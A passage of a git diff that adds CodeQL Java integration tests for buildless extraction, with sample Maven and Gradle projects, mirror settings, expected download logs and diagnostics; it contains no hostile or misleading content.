+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-databind/2.14.1/jackson-databind-2.14.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-base/2.14.1/jackson-base-2.14.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-bom/2.14.1/jackson-bom-2.14.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-parent/2.14/jackson-parent-2.14.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/oss-parent/48/oss-parent-48.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/github/ferstl/depgraph-maven-plugin/4.0.3-CodeQL/depgraph-maven-plugin-4.0.3-CodeQL.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/github/ferstl/depgraph-maven-plugin/4.0.3-CodeQL/depgraph-maven-plugin-4.0.3-CodeQL.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_annotations/2.36.0/error_prone_annotations-2.36.0.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_annotations/2.36.0/error_prone_annotations-2.36.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_parent/2.36.0/error_prone_parent-2.36.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/failureaccess/1.0.2/failureaccess-1.0.2.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/failureaccess/1.0.2/failureaccess-1.0.2.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava-parent/26.0-android/guava-parent-26.0-android.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava-parent/33.4.0-jre/guava-parent-33.4.0-jre.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava/33.4.0-jre/guava-33.4.0-jre.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava/33.4.0-jre/guava-33.4.0-jre.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/j2objc/j2objc-annotations/3.0.0/j2objc-annotations-3.0.0.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/j2objc/j2objc-annotations/3.0.0/j2objc-annotations-3.0.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/javax/annotation/javax.annotation-api/1.2/javax.annotation-api-1.2.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/javax/annotation/javax.annotation-api/1.2/javax.annotation-api-1.2.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/net/java/jvnet-parent/3/jvnet-parent-3.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/19/apache-19.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/25/apache-25.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/27/apache-27.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-parent/47/commons-parent-47.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-model/3.8.6/maven-model-3.8.6.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-model/3.8.6/maven-model-3.8.6.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-parent/35/maven-parent-35.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-parent/37/maven-parent-37.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-plugin-api/3.8.6/maven-plugin-api-3.8.6.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-plugin-api/3.8.6/maven-plugin-api-3.8.6.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven/3.8.6/maven-3.8.6.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-shared-components/37/maven-shared-components-37.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/checkerframework/checker-qual/3.43.0/checker-qual-3.43.0.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/checkerframework/checker-qual/3.43.0/checker-qual-3.43.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.5.2/plexus-classworlds-2.5.2.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.6.0/plexus-classworlds-2.6.0.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.6.0/plexus-classworlds-2.6.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/4.0/plexus-4.0.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/5.1/plexus-5.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.inject/0.3.5/org.eclipse.sisu.inject-0.3.5.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.inject/0.3.5/org.eclipse.sisu.inject-0.3.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.plexus/0.3.5/org.eclipse.sisu.plexus-0.3.5.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.plexus/0.3.5/org.eclipse.sisu.plexus-0.3.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/sisu-inject/0.3.5/sisu-inject-0.3.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/sisu-plexus/0.3.5/sisu-plexus-0.3.5.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/junit/junit-bom/5.9.1/junit-bom-5.9.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/forge/forge-parent/10/forge-parent-10.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/oss/oss-parent/7/oss-parent-7.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/oss/oss-parent/9/oss-parent-9.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/spice/spice-parent/17/spice-parent-17.pom
+Downloaded from mirror-force-central: https://repo1.maven.org/maven2/junit/junit/4.11/junit-4.11.pom
+Downloaded from mirror-force-central: https://repo1.maven.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.pom
+Downloaded from mirror-force-central: https://repo1.maven.org/maven2/org/hamcrest/hamcrest-parent/1.3/hamcrest-parent-1.3.pom
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml
new file mode 100644
index 000000000000..ec4aaf128c18
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+
+  <groupId>com.example</groupId>
+  <artifactId>maven-sample</artifactId>
+  <version>1.0-SNAPSHOT</version>
+
+  <name>maven-sample</name>
+  <!-- FIXME change it to the project's website -->
+  <url>http://www.example.com</url>
+
+  <properties>
+    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    <maven.compiler.source>1.7</maven.compiler.source>
+    <maven.compiler.target>1.7</maven.compiler.target>
+  </properties>
+
+  <dependencies>
+    <dependency>
+      <groupId>junit</groupId>
+      <artifactId>junit</artifactId>
+      <version>4.11</version>
+      <scope>test</scope>
+    </dependency>
+  </dependencies>
+
+  <build>
+    <plugins>
+      <plugin>
+        <artifactId>exec-maven-plugin</artifactId>
+        <groupId>org.codehaus.mojo</groupId>
+        <version>1.1.1</version>
+        <executions>
+          <execution>
+            <id>check-maven-version</id>
+            <phase>package</phase>
+            <goals>
+              <goal>java</goal>
+            </goals>
+          </execution>
+        </executions>
+        <configuration>
+          <mainClass>com.example.App</mainClass>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>com.diffplug.spotless</groupId>
+        <artifactId>spotless-maven-plugin</artifactId>
+        <version>2.19.1</version>
+        <executions>
+          <execution>
+            <goals>
+              <goal>check</goal>
+            </goals>
+            <phase>compile</phase>
+          </execution>
+        </executions>
+        <configuration>
+          <java>
+            <licenseHeader>
+              <content>/* FAIL ME */</content>
+            </licenseHeader>
+          </java>
+        </configuration>
+      </plugin>
+    </plugins>
+    <pluginManagement>
+      <!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
+      <plugins>
+        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
+        <plugin>
+          <artifactId>maven-clean-plugin</artifactId>
+          <version>3.1.0</version>
+        </plugin>
+        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
+        <plugin>
+          <artifactId>maven-resources-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-compiler-plugin</artifactId>
+          <version>3.8.0</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-surefire-plugin</artifactId>
+          <version>2.22.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-jar-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-install-plugin</artifactId>
+          <version>2.5.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-deploy-plugin</artifactId>
+          <version>2.8.2</version>
+        </plugin>
+        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
+        <plugin>
+          <artifactId>maven-site-plugin</artifactId>
+          <version>3.7.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-project-info-reports-plugin</artifactId>
+          <version>3.0.0</version>
+        </plugin>
+      </plugins>
+    </pluginManagement>
+  </build>
+</project>
\ No newline at end of file
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected
new file mode 100644
index 000000000000..6a01b100b30e
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<settings>
+      
+    <mirrors>
+            
+        <mirror>
+                  
+            <id>mirror-force-central</id>
+                  
+            <name>Mirror Repository</name>
+                  
+            <url>https://repo1.maven.org/maven2</url>
+                  
+            <mirrorOf>*,!codeql-depgraph-plugin-repo</mirrorOf>
+                
+        </mirror>
+          
+    </mirrors>
+    
+    <profiles>
+        <profile>
+            <id>codeql-depgraph-plugin-repo</id>
+            <pluginRepositories>
+                <pluginRepository>
+                    <id>codeql-depgraph-plugin-repo</id>
+                    <name>CodeQL Dependency Graph Plugin Repository</name>
+                    <url>file://[dist-root]/java/tools/ferstl-depgraph-dependencies/</url>
+                </pluginRepository>
+            </pluginRepositories>
+        </profile>
+    </profiles>
+    <activeProfiles>
+        <activeProfile>codeql-depgraph-plugin-repo</activeProfile>
+    </activeProfiles>
+</settings>
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml
new file mode 100644
index 000000000000..8c4268224d40
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml
@@ -0,0 +1,10 @@
+<settings>
+  <mirrors>
+    <mirror>
+      <id>mirror-force-central</id>
+      <name>Mirror Repository</name>
+      <url>https://repo1.maven.org/maven2</url>
+      <mirrorOf>*</mirrorOf>
+    </mirror>
+  </mirrors>
+</settings>
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected
new file mode 100644
index 000000000000..ac35d94be39e
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected
@@ -0,0 +1,8 @@
+pom.xml
+settings.xml
+src/main/java/com/example/App.java
+src/main/resources/my-app.properties
+src/main/resources/page.xml
+src/main/resources/struts.xml
+src/test/java/com/example/AppTest.java
+test-db/working/settings.xml
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java
new file mode 100644
index 000000000000..c9eec918587c
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java
@@ -0,0 +1,30 @@
+package com.example;
+
+import java.util.regex.Pattern;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+/**
+ * Hello world!
+ *
+ */
+public class App 
+{
+    public static void main( String[] args )
+    {
+        System.out.println( "Hello World!" );
+        String expectedVersion = System.getenv("EXPECT_MAVEN");
+        Path mavenHome = Paths.get(System.getProperty("maven.home")).normalize();
+        String observedVersion = mavenHome.getFileName().toString();
+        if (expectedVersion != null && !expectedVersion.equals(observedVersion)) {
+                System.err.println("Wrong maven version, expected '" + expectedVersion + "' but got '" + observedVersion + "'" + mavenHome);
+                System.exit(1);
+        }
+        String commandMatcher = System.getenv("EXPECT_COMMAND_REGEX");
+        String command = System.getProperty("sun.java.command");
+        if (commandMatcher != null && !Pattern.matches(commandMatcher, command)) {
+                System.err.println("Wrong command line, '" + command + "' does not match '" + commandMatcher + "'");
+                System.exit(1);
+        }
+    }
+}
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties
new file mode 100644
index 000000000000..e566b49a29a8
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties
@@ -0,0 +1 @@
+version=1.0
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml
new file mode 100644
index 000000000000..2bab459cb031
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml
@@ -0,0 +1,8 @@
+<html>
+<head>
+<title>A sample</title>
+</head>
+<body>
+<p>Hello world!</p>
+</body>
+</html>
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml
new file mode 100644
index 000000000000..73fc0c6b9cb6
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+This is a sample file
+</struts>
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java
new file mode 100644
index 000000000000..22a94ca6f01c
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java
@@ -0,0 +1,20 @@
+package com.example;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest 
+{
+    /**
+     * Rigorous Test :-)
+     */
+    @Test
+    public void shouldAnswerWithTrue()
+    {
+        assertTrue( true );
+    }
+}
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py
new file mode 100644
index 000000000000..9cae7b675539
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py
@@ -0,0 +1,10 @@
+import os
+import os.path
+
+def test(codeql, java):
+    codeql.database.create(build_mode = "none",
+        _env={
+            "_JAVA_OPTIONS": "-Duser.home=" + os.path.join(os.getcwd(), "empty-home"),
+            "LGTM_INDEX_MAVEN_SETTINGS_FILE": os.path.join(os.path.dirname(os.path.realpath(__file__)), "settings.xml")
+        }
+    )
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitattributes b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitattributes
new file mode 100644
index 000000000000..00a51aff5e5a
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitattributes
@@ -0,0 +1,6 @@
+#
+# https://help.github.com/articles/dealing-with-line-endings/
+#
+# These are explicitly windows files and should use crlf
+*.bat           text eol=crlf
+
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitignore b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitignore
new file mode 100644
index 000000000000..1b6985c0094c
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/.gitignore
@@ -0,0 +1,5 @@
+# Ignore Gradle project-specific cache directory
+.gradle
+
+# Ignore Gradle build output directory
+build
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/build.gradle b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/build.gradle
new file mode 100644
index 000000000000..071a12b7691c
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/build.gradle
@@ -0,0 +1,30 @@
+/*
+ * This build file was auto generated by running the Gradle 'init' task
+ * by 'arthur' at '28/11/20 22:29' with Gradle 3.0
+ *
+ * This generated file contains a sample Java project to get you started.
+ * For more details take a look at the Java Quickstart chapter in the Gradle
+ * user guide available at https://docs.gradle.org/3.0/userguide/tutorial_java_projects.html
+ */
+
+// Apply the java plugin to add support for Java
+apply plugin: 'java'
+
+// In this section you declare where to find the dependencies of your project
+repositories {
+    // Use 'jcenter' for resolving your dependencies.
+    // You can declare any Maven/Ivy/file repository here.
+    jcenter()
+}
+
+// In this section you declare the dependencies for your production and test code
+dependencies {
+    // The production code uses the SLF4J logging API at compile time
+    compile 'org.slf4j:slf4j-api:1.7.21'
+
+    // Declare the dependency for your favourite test framework you want to use in your tests.
+    // TestNG is also supported by the Gradle Test task. Just change the
+    // testCompile dependency to testCompile 'org.testng:testng:6.8.1' and add
+    // 'test.useTestNG()' to your build script.
+    testCompile 'junit:junit:4.12'
+}
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/diagnostics.expected b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/diagnostics.expected
new file mode 100644
index 000000000000..8e5fb7fc737e
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/diagnostics.expected
@@ -0,0 +1,98 @@
+{
+  "markdownMessage": "Build tool(s) should have been able to provide a recommended classpath but the attempt failed. Extraction will continue, but external dependencies will be inferred from the Java package names used. Consider troubleshooting the build tool error or using a build mode other than 'none'.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/classpath-from-tool-failed",
+    "name": "Failed to extract dependency information from build tool tool Gradle"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Built a Gradle project without the [Gradle wrapper](https://docs.gradle.org/current/userguide/gradle_wrapper.html). This may use an incompatible version of Gradle.",
+  "severity": "warning",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/guessed-gradle-version",
+    "name": "Required Gradle version not specified"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/using-build-tool-advice",
+    "name": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis used the system default JDK.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/jdk-system-default",
+    "name": "Java analysis used the system default JDK"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis with build-mode 'none' completed.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/complete",
+    "name": "Java analysis with build-mode 'none' completed"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/mode-active",
+    "name": "Java was extracted with build-mode set to 'none'"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Running the Gradle plugin `org.gradle:github-dependency-graph-gradle-plugin` failed. This means precise dependency information will be unavailable, and so dependencies will be guessed based on Java package names. Consider investigating why this plugin fails to run.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/github-dependency-graph-gradle-plugin-failed",
+    "name": "Java analysis failed to extract a dependency graph from Gradle"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/settings.gradle b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/settings.gradle
new file mode 100644
index 000000000000..233410459f60
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/settings.gradle
@@ -0,0 +1,19 @@
+/*
+ * This settings file was auto generated by the Gradle buildInit task
+ * by 'arthur' at '28/11/20 22:29' with Gradle 3.0
+ *
+ * The settings file is used to specify which projects to include in your build.
+ * In a single project build this file can be empty or even removed.
+ *
+ * Detailed information about configuring a multi-project build in Gradle can be found
+ * in the user guide at https://docs.gradle.org/3.0/userguide/multi_project_builds.html
+ */
+
+/*
+// To declare projects as part of a multi-project build use the 'include' method
+include 'shared'
+include 'api'
+include 'services:webservice'
+*/
+
+rootProject.name = 'gradle-sample'
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/source_archive.expected b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/source_archive.expected
new file mode 100644
index 000000000000..9862217a0594
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/source_archive.expected
@@ -0,0 +1,2 @@
+src/main/java/com/example/App.java
+src/test/java/com/example/AppTest.java
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/main/java/com/example/App.java b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/main/java/com/example/App.java
new file mode 100644
index 000000000000..1c13f7d885e5
--- /dev/null
